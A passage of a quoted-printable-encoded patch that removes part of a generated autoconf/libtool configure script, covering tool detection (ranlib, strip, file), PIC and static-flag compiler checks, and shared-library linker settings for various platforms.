ac_cv_prog_RANLIB=3D"$RANLIB" # Let the user override the test. -else -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - ac_cv_prog_RANLIB=3D"${ac_tool_prefix}ranlib" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - -fi -fi -RANLIB=3D$ac_cv_prog_RANLIB -if test -n "$RANLIB"; then - echo "$as_me:$LINENO: result: $RANLIB" >&5 -echo "${ECHO_T}$RANLIB" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - -fi -if test -z "$ac_cv_prog_RANLIB"; then - ac_ct_RANLIB=3D$RANLIB - # Extract the first word of "ranlib", so it can be a program name wi= th args. -set dummy ranlib; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_ac_ct_RANLIB+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$ac_ct_RANLIB"; then - ac_cv_prog_ac_ct_RANLIB=3D"$ac_ct_RANLIB" # Let the user override th= e test. -else -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - ac_cv_prog_ac_ct_RANLIB=3D"ranlib" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - - test -z "$ac_cv_prog_ac_ct_RANLIB" && ac_cv_prog_ac_ct_RANLIB=3D":" -fi -fi -ac_ct_RANLIB=3D$ac_cv_prog_ac_ct_RANLIB -if test -n "$ac_ct_RANLIB"; then - echo "$as_me:$LINENO: result: $ac_ct_RANLIB" >&5 -echo "${ECHO_T}$ac_ct_RANLIB" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - - RANLIB=3D$ac_ct_RANLIB -else - RANLIB=3D"$ac_cv_prog_RANLIB" -fi - -if test -n "$ac_tool_prefix"; then - # Extract the first word of "${ac_tool_prefix}strip", so it can be a= program name with args. -set dummy ${ac_tool_prefix}strip; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_STRIP+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$STRIP"; then - ac_cv_prog_STRIP=3D"$STRIP" # Let the user override the test. -else -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - ac_cv_prog_STRIP=3D"${ac_tool_prefix}strip" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - -fi -fi -STRIP=3D$ac_cv_prog_STRIP -if test -n "$STRIP"; then - echo "$as_me:$LINENO: result: $STRIP" >&5 -echo "${ECHO_T}$STRIP" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - -fi -if test -z "$ac_cv_prog_STRIP"; then - ac_ct_STRIP=3D$STRIP - # Extract the first word of "strip", so it can be a program name wit= h args. -set dummy strip; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_ac_ct_STRIP+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$ac_ct_STRIP"; then - ac_cv_prog_ac_ct_STRIP=3D"$ac_ct_STRIP" # Let the user override the = test. -else -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - ac_cv_prog_ac_ct_STRIP=3D"strip" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - - test -z "$ac_cv_prog_ac_ct_STRIP" && ac_cv_prog_ac_ct_STRIP=3D":" -fi -fi -ac_ct_STRIP=3D$ac_cv_prog_ac_ct_STRIP -if test -n "$ac_ct_STRIP"; then - echo "$as_me:$LINENO: result: $ac_ct_STRIP" >&5 -echo "${ECHO_T}$ac_ct_STRIP" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - - STRIP=3D$ac_ct_STRIP -else - STRIP=3D"$ac_cv_prog_STRIP" -fi - - -old_CC=3D"$CC" -old_CFLAGS=3D"$CFLAGS" - -# Set sane defaults for various variables -test -z "$AR" && AR=3Dar -test -z "$AR_FLAGS" && AR_FLAGS=3Dcru -test -z "$AS" && AS=3Das -test -z "$CC" && CC=3Dcc -test -z "$LTCC" && LTCC=3D$CC -test -z "$DLLTOOL" && DLLTOOL=3Ddlltool -test -z "$LD" && LD=3Dld -test -z "$LN_S" && LN_S=3D"ln -s" -test -z "$MAGIC_CMD" && MAGIC_CMD=3Dfile -test -z "$NM" && NM=3Dnm -test -z "$SED" && SED=3Dsed -test -z "$OBJDUMP" && OBJDUMP=3Dobjdump -test -z "$RANLIB" && RANLIB=3D: -test -z "$STRIP" && STRIP=3D: -test -z "$ac_objext" && ac_objext=3Do - -# Determine commands to create old-style static archives. -old_archive_cmds=3D'$AR $AR_FLAGS $oldlib$oldobjs$old_deplibs' -old_postinstall_cmds=3D'chmod 644 $oldlib' -old_postuninstall_cmds=3D - -if test -n "$RANLIB"; then - case $host_os in - openbsd*) - old_postinstall_cmds=3D"\$RANLIB -t \$oldlib~$old_postinstall_cmds= " - ;; - *) - old_postinstall_cmds=3D"\$RANLIB \$oldlib~$old_postinstall_cmds" - ;; - esac - old_archive_cmds=3D"$old_archive_cmds~\$RANLIB \$oldlib" -fi - -cc_basename=3D`$echo X"$compiler" | $Xsed -e 's%^.*/%%'` - -# Only perform the check for file, if the check method requires it -case $deplibs_check_method in -file_magic*) - if test "$file_magic_cmd" =3D '$MAGIC_CMD'; then - echo "$as_me:$LINENO: checking for ${ac_tool_prefix}file" >&5 -echo $ECHO_N "checking for ${ac_tool_prefix}file... $ECHO_C" >&6 -if test "${lt_cv_path_MAGIC_CMD+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - case $MAGIC_CMD in -[\\/*] | ?:[\\/]*) - lt_cv_path_MAGIC_CMD=3D"$MAGIC_CMD" # Let the user override the test= with a path. - ;; -*) - lt_save_MAGIC_CMD=3D"$MAGIC_CMD" - lt_save_ifs=3D"$IFS"; IFS=3D$PATH_SEPARATOR - ac_dummy=3D"/usr/bin$PATH_SEPARATOR$PATH" - for ac_dir in $ac_dummy; do - IFS=3D"$lt_save_ifs" - test -z "$ac_dir" && ac_dir=3D. - if test -f $ac_dir/${ac_tool_prefix}file; then - lt_cv_path_MAGIC_CMD=3D"$ac_dir/${ac_tool_prefix}file" - if test -n "$file_magic_test_file"; then -=09case $deplibs_check_method in -=09"file_magic "*) -=09 file_magic_regex=3D"`expr \"$deplibs_check_method\" : \"file_magi= c \(.*\)\"`" -=09 MAGIC_CMD=3D"$lt_cv_path_MAGIC_CMD" -=09 if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null | -=09 $EGREP "$file_magic_regex" > /dev/null; then -=09 : -=09 else -=09 cat <&2 - -*** Warning: the command libtool uses to detect shared libraries, -*** $file_magic_cmd, produces output that libtool cannot recognize. -*** The result is that libtool may fail to recognize shared libraries -*** as such. This will affect the creation of libtool libraries that -*** depend on shared libraries, but programs linked with such libtool -*** libraries will work regardless of this problem. Nevertheless, you -*** may want to report the problem to your system manager and/or to -*** bug-libtool@gnu.org - -EOF -=09 fi ;; -=09esac - fi - break - fi - done - IFS=3D"$lt_save_ifs" - MAGIC_CMD=3D"$lt_save_MAGIC_CMD" - ;; -esac -fi - -MAGIC_CMD=3D"$lt_cv_path_MAGIC_CMD" -if test -n "$MAGIC_CMD"; then - echo "$as_me:$LINENO: result: $MAGIC_CMD" >&5 -echo "${ECHO_T}$MAGIC_CMD" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - -if test -z "$lt_cv_path_MAGIC_CMD"; then - if test -n "$ac_tool_prefix"; then - echo "$as_me:$LINENO: checking for file" >&5 -echo $ECHO_N "checking for file... $ECHO_C" >&6 -if test "${lt_cv_path_MAGIC_CMD+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - case $MAGIC_CMD in -[\\/*] | ?:[\\/]*) - lt_cv_path_MAGIC_CMD=3D"$MAGIC_CMD" # Let the user override the test= with a path. - ;; -*) - lt_save_MAGIC_CMD=3D"$MAGIC_CMD" - lt_save_ifs=3D"$IFS"; IFS=3D$PATH_SEPARATOR - ac_dummy=3D"/usr/bin$PATH_SEPARATOR$PATH" - for ac_dir in $ac_dummy; do - IFS=3D"$lt_save_ifs" - test -z "$ac_dir" && ac_dir=3D. - if test -f $ac_dir/file; then - lt_cv_path_MAGIC_CMD=3D"$ac_dir/file" - if test -n "$file_magic_test_file"; then -=09case $deplibs_check_method in -=09"file_magic "*) -=09 file_magic_regex=3D"`expr \"$deplibs_check_method\" : \"file_magi= c \(.*\)\"`" -=09 MAGIC_CMD=3D"$lt_cv_path_MAGIC_CMD" -=09 if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null | -=09 $EGREP "$file_magic_regex" > /dev/null; then -=09 : -=09 else -=09 cat <&2 - -*** Warning: the command libtool uses to detect shared libraries, -*** $file_magic_cmd, produces output that libtool cannot recognize. -*** The result is that libtool may fail to recognize shared libraries -*** as such. This will affect the creation of libtool libraries that -*** depend on shared libraries, but programs linked with such libtool -*** libraries will work regardless of this problem. Nevertheless, you -*** may want to report the problem to your system manager and/or to -*** bug-libtool@gnu.org - -EOF -=09 fi ;; -=09esac - fi - break - fi - done - IFS=3D"$lt_save_ifs" - MAGIC_CMD=3D"$lt_save_MAGIC_CMD" - ;; -esac -fi - -MAGIC_CMD=3D"$lt_cv_path_MAGIC_CMD" -if test -n "$MAGIC_CMD"; then - echo "$as_me:$LINENO: result: $MAGIC_CMD" >&5 -echo "${ECHO_T}$MAGIC_CMD" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - - else - MAGIC_CMD=3D: - fi -fi - - fi - ;; -esac - -enable_dlopen=3Dno -enable_win32_dll=3Dno - -# Check whether --enable-libtool-lock or --disable-libtool-lock was gi= ven. -if test "${enable_libtool_lock+set}" =3D set; then - enableval=3D"$enable_libtool_lock" - -fi; -test "x$enable_libtool_lock" !=3D xno && enable_libtool_lock=3Dyes - - -# Check whether --with-pic or --without-pic was given. -if test "${with_pic+set}" =3D set; then - withval=3D"$with_pic" - pic_mode=3D"$withval" -else - pic_mode=3Ddefault -fi; -test -z "$pic_mode" && pic_mode=3Ddefault - -# Use C for the default configuration in the libtool script -tagname=3D -lt_save_CC=3D"$CC" -ac_ext=3Dc -ac_cpp=3D'$CPP $CPPFLAGS' -ac_compile=3D'$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link=3D'$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS confte= st.$ac_ext $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_c_compiler_gnu - - -# Source file extension for C test sources. -ac_ext=3Dc - -# Object file extension for compiled C test sources. -objext=3Do -objext=3D$objext - -# Code to be used in simple compile tests -lt_simple_compile_test_code=3D"int some_variable =3D 0;\n" - -# Code to be used in simple link tests -lt_simple_link_test_code=3D'int main(){return(0);}\n' - - -# If no C compiler was specified, use CC. -LTCC=3D${LTCC-"$CC"} - -# Allow CC to be a program name with arguments. -compiler=3D$CC - - -# -# Check for any special shared library compilation flags. -# -lt_prog_cc_shlib=3D -if test "$GCC" =3D no; then - case $host_os in - sco3.2v5*) - lt_prog_cc_shlib=3D'-belf' - ;; - esac -fi -if test -n "$lt_prog_cc_shlib"; then - { echo "$as_me:$LINENO: WARNING: \`$CC' requires \`$lt_prog_cc_shlib= ' to build shared libraries" >&5 -echo "$as_me: WARNING: \`$CC' requires \`$lt_prog_cc_shlib' to build s= hared libraries" >&2;} - if echo "$old_CC $old_CFLAGS " | grep "[ =09]$lt_prog_cc_shlib[ =09]= " >/dev/null; then : - else - { echo "$as_me:$LINENO: WARNING: add \`$lt_prog_cc_shlib' to the C= C or CFLAGS env variable and reconfigure" >&5 -echo "$as_me: WARNING: add \`$lt_prog_cc_shlib' to the CC or CFLAGS en= v variable and reconfigure" >&2;} - lt_cv_prog_cc_can_build_shared=3Dno - fi -fi - - -# -# Check to make sure the static flag actually works. -# -echo "$as_me:$LINENO: checking if $compiler static flag $lt_prog_compi= ler_static works" >&5 -echo $ECHO_N "checking if $compiler static flag $lt_prog_compiler_stat= ic works... $ECHO_C" >&6 -if test "${lt_prog_compiler_static_works+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - lt_prog_compiler_static_works=3Dno - save_LDFLAGS=3D"$LDFLAGS" - LDFLAGS=3D"$LDFLAGS $lt_prog_compiler_static" - printf "$lt_simple_link_test_code" > conftest.$ac_ext - if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; th= en - # The compiler can only warn and ignore the option if not recogni= zed - # So say no if there are warnings - if test -s conftest.err; then - # Append any errors to the config.log. - cat conftest.err 1>&5 - else - lt_prog_compiler_static_works=3Dyes - fi - fi - $rm conftest* - LDFLAGS=3D"$save_LDFLAGS" - -fi -echo "$as_me:$LINENO: result: $lt_prog_compiler_static_works" >&5 -echo "${ECHO_T}$lt_prog_compiler_static_works" >&6 - -if test x"$lt_prog_compiler_static_works" =3D xyes; then - : -else - lt_prog_compiler_static=3D -fi - - - - -lt_prog_compiler_no_builtin_flag=3D - -if test "$GCC" =3D yes; then - lt_prog_compiler_no_builtin_flag=3D' -fno-builtin' - - -echo "$as_me:$LINENO: checking if $compiler supports -fno-rtti -fno-ex= ceptions" >&5 -echo $ECHO_N "checking if $compiler supports -fno-rtti -fno-exceptions= ... $ECHO_C" >&6 -if test "${lt_cv_prog_compiler_rtti_exceptions+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - lt_cv_prog_compiler_rtti_exceptions=3Dno - ac_outfile=3Dconftest.$ac_objext - printf "$lt_simple_compile_test_code" > conftest.$ac_ext - lt_compiler_flag=3D"-fno-rtti -fno-exceptions" - # Insert the option either (1) after the last *FLAGS variable, or - # (2) before a word containing "conftest.", or (3) at the end. - # Note that $ac_compile itself does not contain backslashes and beg= ins - # with a dollar sign (not a hyphen), so the echo should work correc= tly. - # The option is referenced via a variable to avoid confusing sed. - lt_compile=3D`echo "$ac_compile" | $SED \ - -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ - -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ - -e 's:$: $lt_compiler_flag:'` - (eval echo "\"\$as_me:6279: $lt_compile\"" >&5) - (eval "$lt_compile" 2>conftest.err) - ac_status=3D$? - cat conftest.err >&5 - echo "$as_me:6283: \$? =3D $ac_status" >&5 - if (exit $ac_status) && test -s "$ac_outfile"; then - # The compiler can only warn and ignore the option if not recogni= zed - # So say no if there are warnings - if test ! -s conftest.err; then - lt_cv_prog_compiler_rtti_exceptions=3Dyes - fi - fi - $rm conftest* - -fi -echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_rtti_exceptions" >&= 5 -echo "${ECHO_T}$lt_cv_prog_compiler_rtti_exceptions" >&6 - -if test x"$lt_cv_prog_compiler_rtti_exceptions" =3D xyes; then - lt_prog_compiler_no_builtin_flag=3D"$lt_prog_compiler_no_builtin_f= lag -fno-rtti -fno-exceptions" -else - : -fi - -fi - -lt_prog_compiler_wl=3D -lt_prog_compiler_pic=3D -lt_prog_compiler_static=3D - -echo "$as_me:$LINENO: checking for $compiler option to produce PIC" >&= 5 -echo $ECHO_N "checking for $compiler option to produce PIC... $ECHO_C"= >&6 - - if test "$GCC" =3D yes; then - lt_prog_compiler_wl=3D'-Wl,' - lt_prog_compiler_static=3D'-static' - - case $host_os in - aix*) - # All AIX code is PIC. - if test "$host_cpu" =3D ia64; then -=09# AIX 5 now supports IA64 processor -=09lt_prog_compiler_static=3D'-Bstatic' - fi - ;; - - amigaos*) - # FIXME: we need at least 68020 code to build shared libraries, = but - # adding the `-m68020' flag to GCC prevents building anything be= tter, - # like `-m68040'. - lt_prog_compiler_pic=3D'-m68020 -resident32 -malways-restore-a4' - ;; - - beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | o= sf5*) - # PIC is the default for these OSes. - ;; - - mingw* | pw32* | os2*) - # This hack is so that the source file can tell whether it is be= ing - # built for inclusion in a dll (and should export symbols for ex= ample). - lt_prog_compiler_pic=3D'-DDLL_EXPORT' - ;; - - darwin* | rhapsody*) - # PIC is the default on this platform - # Common symbols not allowed in MH_DYLIB files - lt_prog_compiler_pic=3D'-fno-common' - ;; - - msdosdjgpp*) - # Just because we use GCC doesn't mean we suddenly get shared li= braries - # on systems that don't support them. - lt_prog_compiler_can_build_shared=3Dno - enable_shared=3Dno - ;; - - sysv4*MP*) - if test -d /usr/nec; then -=09lt_prog_compiler_pic=3D-Kconform_pic - fi - ;; - - hpux*) - # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but - # not for PA HP-UX. - case "$host_cpu" in - hppa*64*|ia64*) -=09# +Z the default -=09;; - *) -=09lt_prog_compiler_pic=3D'-fPIC' -=09;; - esac - ;; - - *) - lt_prog_compiler_pic=3D'-fPIC' - ;; - esac - else - # PORTME Check for flag to pass linker flags through the system co= mpiler. - case $host_os in - aix*) - lt_prog_compiler_wl=3D'-Wl,' - if test "$host_cpu" =3D ia64; then -=09# AIX 5 now supports IA64 processor -=09lt_prog_compiler_static=3D'-Bstatic' - else -=09lt_prog_compiler_static=3D'-bnso -bI:/lib/syscalls.exp' - fi - ;; - darwin*) - # PIC is the default on this platform - # Common symbols not allowed in MH_DYLIB files - case "$cc_basename" in - xlc*) - lt_prog_compiler_pic=3D'-qnocommon' - lt_prog_compiler_wl=3D'-Wl,' - ;; - esac - ;; - - mingw* | pw32* | os2*) - # This hack is so that the source file can tell whether it is be= ing - # built for inclusion in a dll (and should export symbols for ex= ample). - lt_prog_compiler_pic=3D'-DDLL_EXPORT' - ;; - - hpux9* | hpux10* | hpux11*) - lt_prog_compiler_wl=3D'-Wl,' - # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but - # not for PA HP-UX. - case "$host_cpu" in - hppa*64*|ia64*) -=09# +Z the default -=09;; - *) -=09lt_prog_compiler_pic=3D'+Z' -=09;; - esac - # Is there a better lt_prog_compiler_static that works with the = bundled CC? - lt_prog_compiler_static=3D'${wl}-a ${wl}archive' - ;; - - irix5* | irix6* | nonstopux*) - lt_prog_compiler_wl=3D'-Wl,' - # PIC (with -KPIC) is the default. - lt_prog_compiler_static=3D'-non_shared' - ;; - - newsos6) - lt_prog_compiler_pic=3D'-KPIC' - lt_prog_compiler_static=3D'-Bstatic' - ;; - - linux*) - case $CC in - icc* | ecc*) -=09lt_prog_compiler_wl=3D'-Wl,' -=09lt_prog_compiler_pic=3D'-KPIC' -=09lt_prog_compiler_static=3D'-static' - ;; - ccc*) - lt_prog_compiler_wl=3D'-Wl,' - # All Alpha code is PIC. - lt_prog_compiler_static=3D'-non_shared' - ;; - esac - ;; - - osf3* | osf4* | osf5*) - lt_prog_compiler_wl=3D'-Wl,' - # All OSF/1 code is PIC. - lt_prog_compiler_static=3D'-non_shared' - ;; - - sco3.2v5*) - lt_prog_compiler_pic=3D'-Kpic' - lt_prog_compiler_static=3D'-dn' - ;; - - solaris*) - lt_prog_compiler_wl=3D'-Wl,' - lt_prog_compiler_pic=3D'-KPIC' - lt_prog_compiler_static=3D'-Bstatic' - ;; - - sunos4*) - lt_prog_compiler_wl=3D'-Qoption ld ' - lt_prog_compiler_pic=3D'-PIC' - lt_prog_compiler_static=3D'-Bstatic' - ;; - - sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) - lt_prog_compiler_wl=3D'-Wl,' - lt_prog_compiler_pic=3D'-KPIC' - lt_prog_compiler_static=3D'-Bstatic' - ;; - - sysv4*MP*) - if test -d /usr/nec ;then -=09lt_prog_compiler_pic=3D'-Kconform_pic' -=09lt_prog_compiler_static=3D'-Bstatic' - fi - ;; - - uts4*) - lt_prog_compiler_pic=3D'-pic' - lt_prog_compiler_static=3D'-Bstatic' - ;; - - *) - lt_prog_compiler_can_build_shared=3Dno - ;; - esac - fi - -echo "$as_me:$LINENO: result: $lt_prog_compiler_pic" >&5 -echo "${ECHO_T}$lt_prog_compiler_pic" >&6 - -# -# Check to make sure the PIC flag actually works. -# -if test -n "$lt_prog_compiler_pic"; then - -echo "$as_me:$LINENO: checking if $compiler PIC flag $lt_prog_compiler= _pic works" >&5 -echo $ECHO_N "checking if $compiler PIC flag $lt_prog_compiler_pic wor= ks... $ECHO_C" >&6 -if test "${lt_prog_compiler_pic_works+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - lt_prog_compiler_pic_works=3Dno - ac_outfile=3Dconftest.$ac_objext - printf "$lt_simple_compile_test_code" > conftest.$ac_ext - lt_compiler_flag=3D"$lt_prog_compiler_pic -DPIC" - # Insert the option either (1) after the last *FLAGS variable, or - # (2) before a word containing "conftest.", or (3) at the end. - # Note that $ac_compile itself does not contain backslashes and beg= ins - # with a dollar sign (not a hyphen), so the echo should work correc= tly. - # The option is referenced via a variable to avoid confusing sed. - lt_compile=3D`echo "$ac_compile" | $SED \ - -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ - -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ - -e 's:$: $lt_compiler_flag:'` - (eval echo "\"\$as_me:6522: $lt_compile\"" >&5) - (eval "$lt_compile" 2>conftest.err) - ac_status=3D$? - cat conftest.err >&5 - echo "$as_me:6526: \$? =3D $ac_status" >&5 - if (exit $ac_status) && test -s "$ac_outfile"; then - # The compiler can only warn and ignore the option if not recogni= zed - # So say no if there are warnings - if test ! -s conftest.err; then - lt_prog_compiler_pic_works=3Dyes - fi - fi - $rm conftest* - -fi -echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_works" >&5 -echo "${ECHO_T}$lt_prog_compiler_pic_works" >&6 - -if test x"$lt_prog_compiler_pic_works" =3D xyes; then - case $lt_prog_compiler_pic in - "" | " "*) ;; - *) lt_prog_compiler_pic=3D" $lt_prog_compiler_pic" ;; - esac -else - lt_prog_compiler_pic=3D - lt_prog_compiler_can_build_shared=3Dno -fi - -fi -case "$host_os" in - # For platforms which do not support PIC, -DPIC is meaningless: - *djgpp*) - lt_prog_compiler_pic=3D - ;; - *) - lt_prog_compiler_pic=3D"$lt_prog_compiler_pic -DPIC" - ;; -esac - -echo "$as_me:$LINENO: checking if $compiler supports -c -o file.$ac_ob= jext" >&5 -echo $ECHO_N "checking if $compiler supports -c -o file.$ac_objext... = $ECHO_C" >&6 -if test "${lt_cv_prog_compiler_c_o+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - lt_cv_prog_compiler_c_o=3Dno - $rm -r conftest 2>/dev/null - mkdir conftest - cd conftest - mkdir out - printf "$lt_simple_compile_test_code" > conftest.$ac_ext - - lt_compiler_flag=3D"-o out/conftest2.$ac_objext" - # Insert the option either (1) after the last *FLAGS variable, or - # (2) before a word containing "conftest.", or (3) at the end. - # Note that $ac_compile itself does not contain backslashes and beg= ins - # with a dollar sign (not a hyphen), so the echo should work correc= tly. - lt_compile=3D`echo "$ac_compile" | $SED \ - -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ - -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ - -e 's:$: $lt_compiler_flag:'` - (eval echo "\"\$as_me:6582: $lt_compile\"" >&5) - (eval "$lt_compile" 2>out/conftest.err) - ac_status=3D$? - cat out/conftest.err >&5 - echo "$as_me:6586: \$? =3D $ac_status" >&5 - if (exit $ac_status) && test -s out/conftest2.$ac_objext - then - # The compiler can only warn and ignore the option if not recogni= zed - # So say no if there are warnings - if test ! -s out/conftest.err; then - lt_cv_prog_compiler_c_o=3Dyes - fi - fi - chmod u+w . - $rm conftest* - # SGI C++ compiler will create directory out/ii_files/ for - # template instantiation - test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files - $rm out/* && rmdir out - cd .. - rmdir conftest - $rm conftest* - -fi -echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_c_o" >&5 -echo "${ECHO_T}$lt_cv_prog_compiler_c_o" >&6 - - -hard_links=3D"nottested" -if test "$lt_cv_prog_compiler_c_o" =3D no && test "$need_locks" !=3D n= o; then - # do not overwrite the value of need_locks provided by the user - echo "$as_me:$LINENO: checking if we can lock with hard links" >&5 -echo $ECHO_N "checking if we can lock with hard links... $ECHO_C" >&6 - hard_links=3Dyes - $rm conftest* - ln conftest.a conftest.b 2>/dev/null && hard_links=3Dno - touch conftest.a - ln conftest.a conftest.b 2>&5 || hard_links=3Dno - ln conftest.a conftest.b 2>/dev/null && hard_links=3Dno - echo "$as_me:$LINENO: result: $hard_links" >&5 -echo "${ECHO_T}$hard_links" >&6 - if test "$hard_links" =3D no; then - { echo "$as_me:$LINENO: WARNING: \`$CC' does not support \`-c -o',= so \`make -j' may be unsafe" >&5 -echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j'= may be unsafe" >&2;} - need_locks=3Dwarn - fi -else - need_locks=3Dno -fi - -echo "$as_me:$LINENO: checking whether the $compiler linker ($LD) supp= orts shared libraries" >&5 -echo $ECHO_N "checking whether the $compiler linker ($LD) supports sha= red libraries... $ECHO_C" >&6 - - runpath_var=3D - allow_undefined_flag=3D - enable_shared_with_static_runtimes=3Dno - archive_cmds=3D - archive_expsym_cmds=3D - old_archive_From_new_cmds=3D - old_archive_from_expsyms_cmds=3D - export_dynamic_flag_spec=3D - whole_archive_flag_spec=3D - thread_safe_flag_spec=3D - hardcode_libdir_flag_spec=3D - hardcode_libdir_flag_spec_ld=3D - hardcode_libdir_separator=3D - hardcode_direct=3Dno - hardcode_minus_L=3Dno - hardcode_shlibpath_var=3Dunsupported - link_all_deplibs=3Dunknown - hardcode_automatic=3Dno - module_cmds=3D - module_expsym_cmds=3D - always_export_symbols=3Dno - export_symbols_cmds=3D'$NM $libobjs $convenience | $global_symbol_pi= pe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' - # include_expsyms should be a list of space-separated symbols to be = *always* - # included in the symbol list - include_expsyms=3D - # exclude_expsyms can be an extended regexp of symbols to exclude - # it will be wrapped by ` (' and `)$', so one must not match beginni= ng or - # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' a= nd `bc', - # as well as any symbol that contains `d'. - exclude_expsyms=3D"_GLOBAL_OFFSET_TABLE_" - # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.ou= t - # platforms (ab)use it in PIC code, but their linkers get confused i= f - # the symbol is explicitly referenced. Since portable code cannot - # rely on this symbol name, it's probably fine to never include it i= n - # preloaded symbol tables. - extract_expsyms_cmds=3D - - case $host_os in - cygwin* | mingw* | pw32*) - # FIXME: the MSVC++ port hasn't been tested in a loooong time - # When not using gcc, we currently assume that we are using - # Microsoft Visual C++. - if test "$GCC" !=3D yes; then - with_gnu_ld=3Dno - fi - ;; - openbsd*) - with_gnu_ld=3Dno - ;; - esac - - ld_shlibs=3Dyes - if test "$with_gnu_ld" =3D yes; then - # If archive_cmds runs LD, not CC, wlarc should be empty - wlarc=3D'${wl}' - - # See if GNU ld supports shared libraries. - case $host_os in - aix3* | aix4* | aix5*) - # On AIX/PPC, the GNU linker is very broken - if test "$host_cpu" !=3D ia64; then -=09ld_shlibs=3Dno -=09cat <&2 - -*** Warning: the GNU linker, at least up to release 2.9.1, is reported -*** to be unable to reliably create shared libraries on AIX. -*** Therefore, libtool is disabling shared libraries support. If you -*** really care for shared libraries, you may want to modify your PATH -*** so that a non-GNU linker is found, and then restart. - -EOF - fi - ;; - - amigaos*) - archive_cmds=3D'$rm $output_objdir/a2ixlibrary.data~$echo "#defi= ne NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBR= ARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $ma= jor" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revisi= on" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RAN= LIB $lib~(cd $output_objdir && a2ixlibrary -32)' - hardcode_libdir_flag_spec=3D'-L$libdir' - hardcode_minus_L=3Dyes - - # Samuel A. Falvo II reports - # that the semantics of dynamic libraries on AmigaOS, at least u= p - # to version 4, is to share data among multiple programs linked - # with the same dynamic library. Since this doesn't match the - # behavior of shared libraries on other platforms, we can't use - # them. - ld_shlibs=3Dno - ;; - - beos*) - if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/nu= ll; then -=09allow_undefined_flag=3Dunsupported -=09# Joseph Beckenbach says some releases of gcc -=09# support --undefined. This deserves some 